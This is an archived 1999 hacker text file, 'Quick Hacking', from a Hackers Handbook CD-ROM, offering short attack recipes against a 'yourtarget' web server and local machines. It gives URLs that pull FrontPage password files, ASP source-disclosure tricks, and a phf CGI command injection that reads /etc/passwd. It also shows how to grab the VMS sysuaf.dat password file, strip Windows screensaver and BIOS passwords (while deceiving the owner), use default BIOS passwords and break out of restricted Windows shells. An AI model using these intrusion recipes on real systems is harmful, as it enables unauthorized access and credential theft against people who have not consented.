home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / qhack.txt < prev    next >
Encoding:
Text File  |  1999-03-24  |  3.7 KB  |  140 lines
  1. Quick Hacking
  2.  
  3. These are all quick and simple hacks email me if you've got anymore i'll
  4. write a few programs that will call on DOS etc soon.
  5. The topics covered are vax/vms/windows/dos/macros/bios/etc in no particular
  6. order... This is all pretty common knowledge and it can come in useful
  7. sometimes .
  8.  
  9. System:    Webserver using Microsoft Front Page Extensions
  10.  
  11. Password file: Type the following in your location bar in your browser
  12.  
  13. Command:   www.yourtarget.com/_vti_pvt/service.pwd
  14. or         www.yourtarget.com/_vti_pvt/author.pwd
  15.  
  16.  
  17. System:   Webserver using .asp files
  18.  
  19. Effect:  get the source to the .asp file (hard coded passwords ?)
  20.          either add a . or ::data to the end of the file.
  21.  
  22. Command:  www.whatever.com/default.asp. 
  23.           www.whatever.com/default.asp::data
  24.  
  25.  
  26. System:   Webserver Using phf
  27.  
  28. Effect:   Run commands that user "nobody" can use ie (cat /etc/passwd)
  29.  
  30. Command:  http://www.yourtarget.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  31.  
  32.  
  33. System:    Vax Or Vms
  34.  
  35. Function:  Will Dump Some files in your Account Has an effect on your
  36.            reading status too 
  37.  
  38. Command:   $analyze/process_dump
  39.  
  40.  
  41. System:    Vax Or Vms
  42.  
  43. Function:  Where is that startup File
  44.  
  45. Try Here:  SYS$MANAGER:ANNOUNCE.TXT or SYS$Announce.txt
  46.  
  47.  
  48. System:    VMS
  49.  
  50. Function:  Get password in
  51.  
  52. Command:   sys$system:sysuaf.dat
  53.  
  54.            Look at the alt.2600 FAQ for a program called Guess_password
  55.  
  56.  
  57. System:   Windows 95
  58.  
  59. Function: Get rid of password on screen saver
  60.  
  61. Command:  just turn off password protection before screen saver comes on
  62.           Or
  63.           press ctrl+alt+del if its a non standard screensaver
  64.           Or
  65.           edit c:\windows\control.ini change PWprotected=1 to 0
  66.           and delete after the Password=
  67.  
  68. System:    Windows
  69.  
  70. Function:  Gets rid of BIOS password (and resets CMOS settings)
  71.  
  72. Command:   Find this file unzip and run killcmos.zip
  73.  
  74.  
  75. System:   BIOS
  76.  
  77. Function: Remove BIOS password
  78.  
  79. Command:  Pull out the CMOS battery for 5-10 minutes
  80.           Then go through setup again once you have installed the battery
  81.           Best idea is to put in a new password :) then they will think
  82.           that they just forgot it ]:'
  83.  
  84.  
  85. System:   BIOS
  86.  
  87. Function: BIOS Password Defaults
  88.  
  89. Command:  Defaults are RM, BIOS, password, PASSWORD, Tiny, compaq, Award
  90.           admin, system
  91.  
  92.  
  93. System:   Windows
  94.  
  95. Function: Get past any password protection before boot-up
  96.  
  97. Command:  Try booting from a floppy
  98.           or holding down the shift key during startup
  99.  
  100. System:   Windows
  101.  
  102. Function: Shell out (get into DOS)
  103.  
  104. Command:  open wordpad or winword etc
  105.           Open command.com in the word editor
  106.           save it as something you can use i.e. calc.exe
  107.           close word or whatever down
  108.           run calc to get into dos.
  109.           Or..
  110.           Write a small program in tpw or c or whatever
  111.           that puts you in DOS.
  112.           Had one written in Turbo Pascal i'll try and get as many
  113.           as i can in the near future and stick em up here..
  114. or
  115.  
  116. Command:  Open word 97 if you've got it
  117.           Goto insert then object
  118.           Click on create from file
  119.           in file type c:\command.com or c:\windows\command.com
  120.           click OK
  121.           Right click on the inserted file and goto package object then
  122.           activate contents
  123. or
  124.  
  125. Command:  Save this file Letmeout
  126.           on your desktop type in c:\windows\desktop\letmeout.bat
  127.           then just click on it.
  128.  
  129.           In the .bat file it has one line (see below)
  130.           call command.com
  131.           so you can make up your own .bat files
  132.           simply run wordpad list down your commands
  133.           and save as whatever.bat
  134. or
  135.  
  136. Command:   Private Sub cmdCommand_Click()
  137.                retval = Shell("start /max command.com")
  138.            End Sub
  139.  
  140.